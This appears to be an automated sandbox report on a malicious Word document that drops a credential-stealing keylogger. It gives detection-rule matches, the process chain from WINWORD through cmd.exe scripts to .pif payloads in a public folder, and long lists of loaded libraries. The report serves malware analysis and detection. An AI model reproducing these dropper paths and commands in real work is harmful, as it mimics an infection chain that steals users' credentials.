              Source: 00000010.00000003.2059147464.0000000029E87000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 0000000E.00000002.3456832626.00000000214B9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 0000000E.00000001.1974371913.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
              Source: 00000010.00000001.2054825787.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
              Source: 00000010.00000002.3465905610.000000002EA90000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: 00000010.00000002.3465905610.000000002EA90000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: 00000010.00000002.3465905610.000000002EA90000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
              Source: Process Memory Space: npratlsN.pif PID: 4544, type: MEMORYSTRMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: Process Memory Space: npratlsN.pif PID: 3592, type: MEMORYSTRMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: Process Memory Space: npratlsN.pif PID: 6036, type: MEMORYSTRMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
              Source: classification engineClassification label: mal100.troj.spyw.expl.evad.winDOC@20/13@5/6
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_028F7FD4 GetDiskFreeSpaceA,4_2_028F7FD4
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,task_proc,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,10_2_004019F0
              Source: C:\Windows\SysWOW64\brightness.exeCode function: 4_2_02906DC8 CoCreateInstance,4_2_02906DC8
              Source: C:\Users\Public\Libraries\npratlsN.pifCode function: 10_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,task_proc,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,10_2_004019F0
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEFile created: C:\Users\user\Desktop\~$ ITS15235.docJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifMutant created: NULL
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6036:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7404:120:WilError_03
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEFile created: C:\Users\user\AppData\Local\Temp\{F98CC917-2825-4E92-B64F-05CCC8726088} - OProcSessId.datJump to behavior
              Source: PI ITS15235.docOLE indicator, Word Document stream: true
              Source: PI ITS15235.docOLE document summary: title field not present or empty
              Source: PI ITS15235.docOLE document summary: edited time not present or 0
              Source: C:\Users\Public\Libraries\npratlsN.pifCommand line argument: 08A10_2_00413780
              Source: C:\Users\Public\Libraries\npratlsN.pifCommand line argument: 08A14_2_00413780
              Source: C:\Users\Public\Libraries\npratlsN.pifCommand line argument: 08A14_2_00413780
              Source: C:\Users\Public\Libraries\npratlsN.pifCommand line argument: 08A14_1_00413780
              Source: C:\Windows\SysWOW64\brightness.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEFile read: C:\Users\desktop.iniJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
              Source: PI ITS15235.docVirustotal: Detection: 59%
              Source: PI ITS15235.docReversingLabs: Detection: 57%
              Source: unknownProcess created: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess created: C:\Windows\SysWOW64\brightness.exe C:\Windows\SysWOW64\brightness.exe
              Source: C:\Windows\SysWOW64\brightness.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\NsltarpnF.cmd" "
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\SysWOW64\brightness.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\SysWOW64\brightness.exeProcess created: C:\Users\Public\Libraries\npratlsN.pif C:\Users\Public\Libraries\npratlsN.pif
              Source: unknownProcess created: C:\Users\Public\Libraries\Nsltarpn.PIF "C:\Users\Public\Libraries\Nsltarpn.PIF"
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFProcess created: C:\Users\Public\Libraries\npratlsN.pif C:\Users\Public\Libraries\npratlsN.pif
              Source: unknownProcess created: C:\Users\Public\Libraries\Nsltarpn.PIF "C:\Users\Public\Libraries\Nsltarpn.PIF"
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFProcess created: C:\Users\Public\Libraries\npratlsN.pif C:\Users\Public\Libraries\npratlsN.pif
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess created: unknown unknownJump to behavior
              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess created: C:\Windows\SysWOW64\brightness.exe C:\Windows\SysWOW64\brightness.exeJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\NsltarpnF.cmd" "Jump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmdJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeProcess created: C:\Users\Public\Libraries\npratlsN.pif C:\Users\Public\Libraries\npratlsN.pifJump to behavior
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFProcess created: C:\Users\Public\Libraries\npratlsN.pif C:\Users\Public\Libraries\npratlsN.pif
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFProcess created: C:\Users\Public\Libraries\npratlsN.pif C:\Users\Public\Libraries\npratlsN.pif
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: apphelp.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: url.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ieframe.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: iertutil.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: netapi32.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: userenv.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: winhttp.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: wkscli.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: netutils.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: propsys.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: smartscreenps.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: winmm.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: wininet.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: profapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ieproxy.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ieproxy.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ieproxy.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: msasn1.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: msasn1.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: msasn1.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: mssip32.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: msasn1.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: mssip32.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: msasn1.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: mssip32.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: msasn1.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: mswsock.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: iphlpapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: winnsi.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: dnsapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: rasadhlp.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: fwpuclnt.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: winhttpcom.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: webio.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: schannel.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: mskeyprotect.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ntasn1.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ncrypt.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ncryptsslp.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: msasn1.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: rsaenh.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: cryptbase.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: gpapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ??????????.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ??.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ??.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ??.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ??????????.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ??????????.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: sppc.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ???.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ???.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ???.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: am.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ??l.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ??l.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ?.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ?.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ??l.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ????.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ???e???????????.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ???e???????????.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ?.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ?.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ?.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ?.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ??l.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: ??l.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: sppc.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: sppc.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: sppc.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: sppc.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: tquery.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: cryptdll.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: spp.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: vssapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: vsstrace.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: spp.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: vssapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: vsstrace.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: mssip32.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: endpointdlp.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: endpointdlp.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: endpointdlp.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: endpointdlp.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: advapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: advapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: advapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: advapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: advapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: advapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: advapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: spp.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: vssapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: vsstrace.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: sppwmi.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: slc.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: sppc.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: sppcext.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: sppc.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: winscard.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: devobj.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: sppc.dllJump to behavior
              Source: C:\Windows\SysWOW64\brightness.exeSection loaded: sppc.dllJump to behavior
              Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dllJump to behavior
              Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: apphelp.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: uxtheme.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: mscoree.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: vcruntime140_clr0400.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: ucrtbase_clr0400.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: wldp.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: amsi.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: userenv.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: profapi.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: version.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: msasn1.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: gpapi.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: cryptsp.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: rsaenh.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: cryptbase.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: windows.storage.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: rasapi32.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: rasman.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: rtutils.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: mswsock.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: winhttp.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: ondemandconnroutehelper.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: iphlpapi.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: dhcpcsvc6.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: dhcpcsvc.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: dnsapi.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: winnsi.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: rasadhlp.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: fwpuclnt.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: secur32.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: sspicli.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: schannel.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: mskeyprotect.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: ntasn1.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: ncrypt.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: ncryptsslp.dllJump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifSection loaded: dpapi.dllJump to behavior
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: apphelp.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: version.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: uxtheme.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: url.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: ieframe.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: iertutil.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: netapi32.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: userenv.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: winhttp.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: wkscli.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: netutils.dll
              Source: C:\Users\Public\Libraries\Nsltarpn.PIFSection loaded: windows.storage.dll
